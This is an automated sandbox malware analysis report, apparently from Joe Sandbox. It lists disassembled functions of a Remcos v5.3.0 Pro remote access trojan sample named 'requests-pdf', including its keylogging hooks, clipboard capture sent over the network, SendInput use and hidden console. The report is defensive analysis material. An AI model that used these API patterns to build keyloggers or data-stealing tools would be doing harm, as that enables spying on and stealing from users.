                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CloseEnumInfoOpenQuerysend
                                                    • String ID: TUF$TUFTUF$>G$DG$DG
                                                    • API String ID: 3114080316-72097156
                                                    • Opcode ID: 09c09115532b36cedb4214abfd7c567596c85741be2dd330b3884bc25d138105
                                                    • Instruction ID: bd62295bbcd426ed3df8c3777bafbc3aed8a44da2e10747ed9406033cff6c6e7
                                                    • Opcode Fuzzy Hash: 09c09115532b36cedb4214abfd7c567596c85741be2dd330b3884bc25d138105
                                                    • Instruction Fuzzy Hash: 7F41E3316042005BD329FB26DC74AEF73A6EFD4340F40C82FE94A57291EF649D0A8E66
                                                    Function 024D9D77 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 108keyboardthreadCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetForegroundWindow.USER32 ref: 024D9DA6
                                                    • GetWindowThreadProcessId.USER32(00000000,?), ref: 024D9DB2
                                                    • GetKeyboardLayout.USER32(00000000), ref: 024D9DB9
                                                    • GetKeyState.USER32(00000010), ref: 024D9DC3
                                                    • GetKeyboardState.USER32(?), ref: 024D9DCE
                                                    • ToUnicodeEx.USER32(?,?,?,?,00000010,00000000,00000000), ref: 024D9E83
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: KeyboardStateWindow$ForegroundLayoutProcessThreadUnicode
                                                    • String ID: 8[G
                                                    • API String ID: 3566172867-1691237782
                                                    • Opcode ID: 0057a6b8e9be89c2a124ace2c7aa15ce6e2280d77a8450e2501583d43799386c
                                                    • Instruction ID: 6baf87f50a7ccb023ce56ea6c10d2b0609ee95c382614fd7231592de28e6036b
                                                    • Opcode Fuzzy Hash: 0057a6b8e9be89c2a124ace2c7aa15ce6e2280d77a8450e2501583d43799386c
                                                    • Instruction Fuzzy Hash: 22316F72104308AFD710DFA0DC84FDBB7ECEB88715F00083ABA45961A0D7B1E548CB96
                                                    Function 00406BE9 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 97fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CreateFileW.KERNEL32(00000000,00000004,00000000,00000000,00000002,00000080,00000000,00465454,?,?,00000000,00407273,00000000,?,0000000A,00000000), ref: 00406C38
                                                    • WriteFile.KERNEL32(00000000,?,00000000,?,00000000,?,000186A0,?,?,?,00000000,00407273,00000000,?,0000000A,00000000), ref: 00406C80
                                                      • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                    • CloseHandle.KERNEL32(00000000,?,?,00000000,00407273,00000000,?,0000000A,00000000,00000000), ref: 00406CC0
                                                    • MoveFileW.KERNEL32(00000000,00000000), ref: 00406CDD
                                                    • CloseHandle.KERNEL32(00000000,00000057,?,00000008,?,?,?,?,?,?,0000000A,00000000,00000000), ref: 00406D08
                                                    • DeleteFileW.KERNEL32(00000000,?,?,?,?,?,?,0000000A,00000000,00000000), ref: 00406D18
                                                      • Part of subcall function 0040455B: WaitForSingleObject.KERNEL32(?,000000FF,?,?,0040460E,00000000,?,?), ref: 0040456A
                                                      • Part of subcall function 0040455B: SetEvent.KERNEL32(?,?,?,0040460E,00000000,?,?), ref: 00404588
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: File$CloseHandle$CreateDeleteEventMoveObjectSingleWaitWritesend
                                                    • String ID: .part
                                                    • API String ID: 1303771098-3499674018
                                                    • Opcode ID: bc587de7adb1460b3aabd07d1d3e6798b8d85c5b62109ba090974b2b68d51c1e
                                                    • Instruction ID: a9f2b94bfe891e644ef5b97f564769cd4b441703f4f7d546a0b6aea2ef9939f1
                                                    • Opcode Fuzzy Hash: bc587de7adb1460b3aabd07d1d3e6798b8d85c5b62109ba090974b2b68d51c1e
                                                    • Instruction Fuzzy Hash: 1C31C2715083019FD210EF21DD459AFB7A8FB85715F40093FF9C6A21A1DB38AA48CB9A
                                                    Function 0041A81D Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 90COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00412584: RegOpenKeyExW.ADVAPI32(80000001,00000400,00000000,00020019,?), ref: 004125A6
                                                      • Part of subcall function 00412584: RegQueryValueExW.ADVAPI32(?,0040E0BA,00000000,00000000,?,00000400), ref: 004125C5
                                                      • Part of subcall function 00412584: RegCloseKey.ADVAPI32(?), ref: 004125CE
                                                      • Part of subcall function 0041B15B: GetCurrentProcess.KERNEL32(?,?,?,0040C914,WinDir,00000000,00000000), ref: 0041B16C
                                                      • Part of subcall function 0041B15B: IsWow64Process.KERNEL32(00000000,?,?,0040C914,WinDir,00000000,00000000), ref: 0041B173
                                                    • _wcslen.LIBCMT ref: 0041A8F6
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Process$CloseCurrentOpenQueryValueWow64_wcslen
                                                    • String ID: .exe$:@$XCG$http\shell\open\command$program files (x86)\$program files\
                                                    • API String ID: 3286818993-703403762
                                                    • Opcode ID: 8d7f7000506fb44ae307e9e559f48fe1fd4854344d8ef950826ae216f426f9bc
                                                    • Instruction ID: cf464564bb47d370653928ac6653466accee15d45f6204cdc17a1bec324f9b19
                                                    • Opcode Fuzzy Hash: 8d7f7000506fb44ae307e9e559f48fe1fd4854344d8ef950826ae216f426f9bc
                                                    • Instruction Fuzzy Hash: 3021B8727001043BDB04BAB58C96DEE366D9B85358F14083FF402F72C2ED3C9D5942A9
                                                    Function 024D9C4B Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 65windowCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetModuleHandleA.KERNEL32(00000000,00000000), ref: 024D9C68
                                                    • SetWindowsHookExA.USER32(0000000D,004099D0,00000000), ref: 024D9C76
                                                    • GetLastError.KERNEL32 ref: 024D9C82
                                                      • Part of subcall function 024EA8ED: GetLocalTime.KERNEL32(00000000), ref: 024EA907
                                                    • GetMessageA.USER32(?,00000000,00000000,00000000), ref: 024D9CD2
                                                    • TranslateMessage.USER32(?), ref: 024D9CE1
                                                    • DispatchMessageA.USER32(?), ref: 024D9CEC
                                                    Strings
                                                    • Keylogger initialization failure: error , xrefs: 024D9C99
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Message$DispatchErrorHandleHookLastLocalModuleTimeTranslateWindows
                                                    • String ID: Keylogger initialization failure: error
                                                    • API String ID: 3219506041-952744263
                                                    • Opcode ID: 10065da0f80e2b1588f186909b8751ab17816e81d90ef01b858d99eb9022e310
                                                    • Instruction ID: ecb5eac2801af3f6d4580d2bb1935e4571832b25f6143c0d234aef1cd68d9627
                                                    • Opcode Fuzzy Hash: 10065da0f80e2b1588f186909b8751ab17816e81d90ef01b858d99eb9022e310
                                                    • Instruction Fuzzy Hash: B41191716043019BC710BB7AAC59E6B77ECAB95B12B00097FFC46C2250FB70D501CBA6
                                                    Function 0041BEB0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 47memoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • AllocConsole.KERNEL32(00474358), ref: 0041BEB9
                                                    • GetConsoleWindow.KERNEL32 ref: 0041BEBF
                                                    • ShowWindow.USER32(00000000,00000000), ref: 0041BED2
                                                    • SetConsoleOutputCP.KERNEL32(000004E4), ref: 0041BEF7
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Console$Window$AllocOutputShow
                                                    • String ID: Remcos v$5.3.0 Pro$CONOUT$
                                                    • API String ID: 4067487056-2527699604
                                                    • Opcode ID: 665a097808b038229c9a37eafed355beb7ea993dcaa7ec452e19bba1328996a1
                                                    • Instruction ID: 482f1cdaf256b8236abc94a0b12de3dc55517b66349f776fa4240982defd8f75
                                                    • Opcode Fuzzy Hash: 665a097808b038229c9a37eafed355beb7ea993dcaa7ec452e19bba1328996a1
                                                    • Instruction Fuzzy Hash: 180171B19803047BD600FBF29D4BFDD37AC9B14705F5004277644E7093EABCA554866D
                                                    Function 00449950 Relevance: 12.2, APIs: 8, Instructions: 216COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,?,0042CE53,?,?,?,00449BA1,00000001,00000001,?), ref: 004499AA
                                                    • __alloca_probe_16.LIBCMT ref: 004499E2
                                                    • MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,0042CE53,?,?,?,00449BA1,00000001,00000001,?), ref: 00449A30
                                                    • __alloca_probe_16.LIBCMT ref: 00449AC7
                                                    • WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,?,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00449B2A
                                                    • __freea.LIBCMT ref: 00449B37
                                                      • Part of subcall function 00446AFF: RtlAllocateHeap.NTDLL(00000000,00434423,?,?,00437227,?,?,00000000,00475B70,?,0040CC87,00434423,?,?,?,?), ref: 00446B31
                                                    • __freea.LIBCMT ref: 00449B40
                                                    • __freea.LIBCMT ref: 00449B65
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocateHeap
                                                    • String ID:
                                                    • API String ID: 3864826663-0
                                                    • Opcode ID: aa8dcda0c36fa9ba79fa8fe966d6c0ac5dcd12a00e8d66bfa7c578b9a9788745
                                                    • Instruction ID: d3450b84a68f20df6837e20b70452335b33749c243a385fd48b45426a0ff81fe
                                                    • Opcode Fuzzy Hash: aa8dcda0c36fa9ba79fa8fe966d6c0ac5dcd12a00e8d66bfa7c578b9a9788745
                                                    • Instruction Fuzzy Hash: 89511572610246AFFB258F65DC81EBB77A9EB44754F15462EFC04E6240EF38EC40E668
                                                    Function 00418ABE Relevance: 12.1, APIs: 8, Instructions: 117keyboardCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • SendInput.USER32 ref: 00418B08
                                                    • SendInput.USER32(00000001,?,0000001C), ref: 00418B30
                                                    • SendInput.USER32(00000001,0000001C,0000001C), ref: 00418B57
                                                    • SendInput.USER32(00000001,0000001C,0000001C), ref: 00418B75
                                                    • SendInput.USER32(00000001,0000001C,0000001C), ref: 00418B95
                                                    • SendInput.USER32(00000001,0000001C,0000001C), ref: 00418BBA
                                                    • SendInput.USER32(00000001,0000001C,0000001C), ref: 00418BDC
                                                    • SendInput.USER32(00000001,?,0000001C), ref: 00418BFF
                                                      • Part of subcall function 00418AB1: MapVirtualKeyA.USER32(00000000,00000000), ref: 00418AB7
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: InputSend$Virtual
                                                    • String ID:
                                                    • API String ID: 1167301434-0
                                                    • Opcode ID: 88f93acc81d4616b4190e12117d1b14dafb1e9928c91053c24dee7c09840eeb6
                                                    • Instruction ID: ee8b26819532887277ba411a2a2a0296f2420856d0f10470abe43a11d9a37015
                                                    • Opcode Fuzzy Hash: 88f93acc81d4616b4190e12117d1b14dafb1e9928c91053c24dee7c09840eeb6
                                                    • Instruction Fuzzy Hash: 3231A471248345AAE210DF65D841FDFFBECAFC5B44F04080FB98457291DAA4D98C87AB
                                                    Function 00415A45 Relevance: 12.0, APIs: 8, Instructions: 46clipboardCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • OpenClipboard.USER32 ref: 00415A46
                                                    • EmptyClipboard.USER32 ref: 00415A54
                                                    • CloseClipboard.USER32 ref: 00415A5A
                                                    • OpenClipboard.USER32 ref: 00415A61
                                                    • GetClipboardData.USER32(0000000D), ref: 00415A71
                                                    • GlobalLock.KERNEL32(00000000), ref: 00415A7A
                                                    • GlobalUnlock.KERNEL32(00000000), ref: 00415A83
                                                    • CloseClipboard.USER32 ref: 00415A89
                                                      • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Clipboard$CloseGlobalOpen$DataEmptyLockUnlocksend
                                                    • String ID:
                                                    • API String ID: 2172192267-0
                                                    • Opcode ID: ed1c07982b29d0ead8c7efce27f1f73f7a3c6531811b5a16733390c9f1490fe0
                                                    • Instruction ID: 9b100a12d13cc6c4196ee8fc3e520842cce62831b2d72284ea91ff5550736cd9
                                                    • Opcode Fuzzy Hash: ed1c07982b29d0ead8c7efce27f1f73f7a3c6531811b5a16733390c9f1490fe0
                                                    • Instruction Fuzzy Hash: A10152312083009FC314BB75EC5AAEE77A5AFC0762F41457EFD06861A2DF38C845D65A
                                                    Function 00447E3A Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • _free.LIBCMT ref: 00447EBC
                                                    • _free.LIBCMT ref: 00447EE0
                                                    • _free.LIBCMT ref: 00448067
                                                    • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045D478), ref: 00448079
                                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,0047179C,000000FF,00000000,0000003F,00000000,?,?), ref: 004480F1
                                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,004717F0,000000FF,?,0000003F,00000000,?), ref: 0044811E
                                                    • _free.LIBCMT ref: 00448233
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: _free$ByteCharMultiWide$InformationTimeZone
                                                    • String ID:
                                                    • API String ID: 314583886-0
                                                    • Opcode ID: 27ecba2f8841fd9bc374cbfe0ae16a2ddc94f833dde90b0adb5aed01379e1676
                                                    • Instruction ID: d74e55ca02e924b9256a88f94e7be2aa31ce1fd8fbfcff02d88bcfbefc6cbd9d
                                                    • Opcode Fuzzy Hash: 27ecba2f8841fd9bc374cbfe0ae16a2ddc94f833dde90b0adb5aed01379e1676
                                                    • Instruction Fuzzy Hash: 32C12871904205ABFB24DF799C41AAE7BB8EF46314F2441AFE484A7351EB388E47C758
                                                    Function 025180A1 Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • _free.LIBCMT ref: 02518123
                                                    • _free.LIBCMT ref: 02518147
                                                    • _free.LIBCMT ref: 025182CE
                                                    • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045D478), ref: 025182E0
                                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,0047179C,000000FF,00000000,0000003F,00000000,?,?), ref: 02518358
                                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,004717F0,000000FF,?,0000003F,00000000,?), ref: 02518385
                                                    • _free.LIBCMT ref: 0251849A
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: _free$ByteCharMultiWide$InformationTimeZone
                                                    • String ID:
                                                    • API String ID: 314583886-0
                                                    • Opcode ID: 15f6b1feb3d3775b51f59aeb9f2b7affb26a76ec7276939fd337acb65b8e2728
                                                    • Instruction ID: 528ad995cfbfdf5686bf528a134b8c4a87480b5e2f54de7e9b66bdc1779343c2
                                                    • Opcode Fuzzy Hash: 15f6b1feb3d3775b51f59aeb9f2b7affb26a76ec7276939fd337acb65b8e2728
                                                    • Instruction Fuzzy Hash: 99C11771904205ABFB359F78CC48BADBFBAFF85314F2445AAD89497290E7309E41CB58
                                                    Function 02522D91 Relevance: 10.8, APIs: 7, Instructions: 268COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,0252306A,00000000,00000000,?,00000001,?,?,?,?,00000001), ref: 02522E3D
                                                    • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000001,00000000,00000000,?,0252306A,00000000,00000000,?,00000001,?,?,?,?), ref: 02522EC0
                                                    • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000001,00000000,0252306A,?,0252306A,00000000,00000000,?,00000001,?,?,?,?), ref: 02522F53
                                                    • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,0252306A,00000000,00000000,?,00000001,?,?,?,?), ref: 02522F6A
                                                      • Part of subcall function 02516D66: RtlAllocateHeap.NTDLL(00000000,0250468A,?), ref: 02516D98
                                                    • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,0252306A,00000000,00000000,?,00000001,?,?,?,?), ref: 02522FE6
                                                    • __freea.LIBCMT ref: 02523011
                                                    • __freea.LIBCMT ref: 0252301D
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ByteCharMultiWide$__freea$AllocateHeapInfo
                                                    • String ID:
                                                    • API String ID: 2829977744-0
                                                    • Opcode ID: 3bf6bddb58e2c22eb2473489dc4132bdb19f64c0de1c03d6ae40a4dd9e1f8fb6
                                                    • Instruction ID: 5b956546ae3181da38d049fa0464c46b32af9efd8ee2beb3fceb2b41038e5acf
                                                    • Opcode Fuzzy Hash: 3bf6bddb58e2c22eb2473489dc4132bdb19f64c0de1c03d6ae40a4dd9e1f8fb6
                                                    • Instruction Fuzzy Hash: 81918275E00226AADB258E64CC41AFEBBB5FF4A714F144569EC05E71C0E735D848CBA8
                                                    Function 024E3C2E Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 228COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID:
                                                    • String ID: udp
                                                    • API String ID: 0-4243565622
                                                    • Opcode ID: feee9516c16efef68815b89ade9cbffe5bf55ce5106af849680fee818ce7e4b0
                                                    • Instruction ID: 5e8c5861eb0a8bd69e1cb3efcc09273bcefe28e303257e0a3207e2b6c6488d6a
                                                    • Opcode Fuzzy Hash: feee9516c16efef68815b89ade9cbffe5bf55ce5106af849680fee818ce7e4b0
                                                    • Instruction Fuzzy Hash: 9A717C31A083529FEF269E198484B3BBAE4AF84746F0445AFF88797351D774C985CA82
                                                    Function 0044F806 Relevance: 10.7, APIs: 7, Instructions: 204COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: _free
                                                    • String ID:
                                                    • API String ID: 269201875-0
                                                    • Opcode ID: 6141bfdb7684140d9b9f029a8ead33158da868342510b0366010e9dcd8c93941
                                                    • Instruction ID: 5fecc71d39e6a90402c47f7728bb4f6831cdfeb90858b0dfc168023e2edb8b83
                                                    • Opcode Fuzzy Hash: 6141bfdb7684140d9b9f029a8ead33158da868342510b0366010e9dcd8c93941
                                                    • Instruction Fuzzy Hash: 2361BFB1900205AFEB20DF69C841BAABBF4EB45720F24417BE944FB392E7349D45CB59
                                                    Function 0251FA6D Relevance: 10.7, APIs: 7, Instructions: 204COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: _free
                                                    • String ID:
                                                    • API String ID: 269201875-0
                                                    • Opcode ID: 154a0d9c569a12efbd1fb523a4d55ce0e4318de2d30962be95ff360cd9ef53d7
                                                    • Instruction ID: ebc2b9be80bedfd1bdb69b683757309752ef69ae26b792f2c55763f08e9b8314
                                                    • Opcode Fuzzy Hash: 154a0d9c569a12efbd1fb523a4d55ce0e4318de2d30962be95ff360cd9ef53d7
                                                    • Instruction Fuzzy Hash: 4461D13190431AAFEB20DF68C841BAABBF6FF45710F14456AE848EB691E7709D41CB58
                                                    Function 024E0D80 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 198memoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 024E0820: SetLastError.KERNEL32(0000000D,024E0D9F,?,00000000), ref: 024E0826
                                                    • GetNativeSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,024E0D7C), ref: 024E0E2B
                                                    • GetProcessHeap.KERNEL32(00000008,00000040,?,?,00000000), ref: 024E0E91
                                                    • RtlAllocateHeap.NTDLL(00000000), ref: 024E0E98
                                                    • SetLastError.KERNEL32(0000045A,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 024E0FA6
                                                    • SetLastError.KERNEL32(000000C1,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,024E0D7C), ref: 024E0FD0
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ErrorLast$Heap$AllocateInfoNativeProcessSystem
                                                    • String ID: A
                                                    • API String ID: 4001361727-520424720
                                                    • Opcode ID: 79ee37443a4366c3bbea1b893000b12d050509257f9cb6c9a6ccb14135485088
                                                    • Instruction ID: 5d57455b8421af7eb72cc7e140d209e5e5605b1c47d49ac96b91eb13ddc116c2
                                                    • Opcode Fuzzy Hash: 79ee37443a4366c3bbea1b893000b12d050509257f9cb6c9a6ccb14135485088
                                                    • Instruction Fuzzy Hash: 2F61D5702013019BEF109F65C980B2B7BA5BF84706F04516AF927AB381E7F4D495CBD6
                                                    Function 00443F7B Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 187COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00446AFF: RtlAllocateHeap.NTDLL(00000000,00434423,?,?,00437227,?,?,00000000,00475B70,?,0040CC87,00434423,?,?,?,?), ref: 00446B31
                                                    • _free.LIBCMT ref: 00444086
                                                    • _free.LIBCMT ref: 0044409D
                                                    • _free.LIBCMT ref: 004440BC
                                                    • _free.LIBCMT ref: 004440D7
                                                    • _free.LIBCMT ref: 004440EE
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: _free$AllocateHeap
                                                    • String ID: J7D
                                                    • API String ID: 3033488037-1677391033
                                                    • Opcode ID: 38e5a99fceb1209b970ed7ac5d3209ab3957ca8cf69c4f68c5a23a15f0ca7666
                                                    • Instruction ID: b5a2c1f2d034459fb850ff781f480331835685433a1d37f27cfcf8091ebf3f31
                                                    • Opcode Fuzzy Hash: 38e5a99fceb1209b970ed7ac5d3209ab3957ca8cf69c4f68c5a23a15f0ca7666
                                                    • Instruction Fuzzy Hash: 9251E371A00604AFEB20DF6AC841B6AB3F4EF95724F14416EE909D7251E739ED15CB88
                                                    Function 0044A0C3 Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,0044A838,?,00000000,00000000,00000000,00000000,0000000C), ref: 0044A105
                                                    • __fassign.LIBCMT ref: 0044A180
                                                    • __fassign.LIBCMT ref: 0044A19B
                                                    • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 0044A1C1
                                                    • WriteFile.KERNEL32(?,00000000,00000000,0044A838,00000000,?,?,?,?,?,?,?,?,?,0044A838,?), ref: 0044A1E0
                                                    • WriteFile.KERNEL32(?,?,00000001,0044A838,00000000,?,?,?,?,?,?,?,?,?,0044A838,?), ref: 0044A219
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                                                    • String ID:
                                                    • API String ID: 1324828854-0
